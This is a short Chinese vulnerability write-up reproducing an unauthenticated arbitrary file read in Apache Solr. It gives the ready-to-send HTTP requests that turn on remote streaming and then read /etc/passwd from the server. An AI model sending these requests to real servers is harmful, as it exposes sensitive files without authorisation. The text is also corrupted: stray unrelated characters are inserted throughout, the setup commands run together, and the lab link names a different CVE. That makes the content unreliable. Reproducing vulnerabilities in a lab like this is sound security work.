文章來(lái)源:Timeline Sec
0x01 簡(jiǎn)介
ApacheSolr是一個(gè)獨(dú)立的企業(yè)級(jí)搜索應(yīng)用服務(wù)器,它對(duì)外提供類似于Web-service的API接口融虽。用戶可以通過(guò)http請(qǐng)求遂铡,向搜索引擎服務(wù)器提交一定格式的XML文件吐葵,生成索引额划;也可以通過(guò)Http Get操作提出查找請(qǐng)求悠轩,并得到XML格式的返回結(jié)果。
0x02 漏洞概述
Apache Solr 存在任意文件讀取漏洞坦康,攻擊者可以在未授權(quán)的情況下獲取目標(biāo)服務(wù)器敏感文件竣付。
0x03 影響版本
Apache Solr <= 8.8.1
0x04 環(huán)境搭建
使用vulhub快速搭建
wgethttps://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.ymldocker-compose up -ddocker ps
0x05 漏洞復(fù)現(xiàn)
1、獲取core的信息:主要是name
http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json
2滞欠、根據(jù)name構(gòu)造獲取config的包
根據(jù)返回包內(nèi)容可判斷存在漏洞
POST /solr/demo/config HTTP/1.1Host: 127.0.0.1:8983Content-Length: 80Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3古胆、構(gòu)造讀取/etc/passwd的包
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1Host: 127.0.0.1:8983Content-Length: 29Content-Type: application/x-www-form-urlencodedConnection: close stream.url=file:///etc/passwd
0x06 修復(fù)方式
將Solr 端口僅對(duì)內(nèi)網(wǎng)開放
無(wú)修復(fù)版本(好像是官方不認(rèn)這個(gè)漏洞,拒絕修復(fù))
參考鏈接:
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558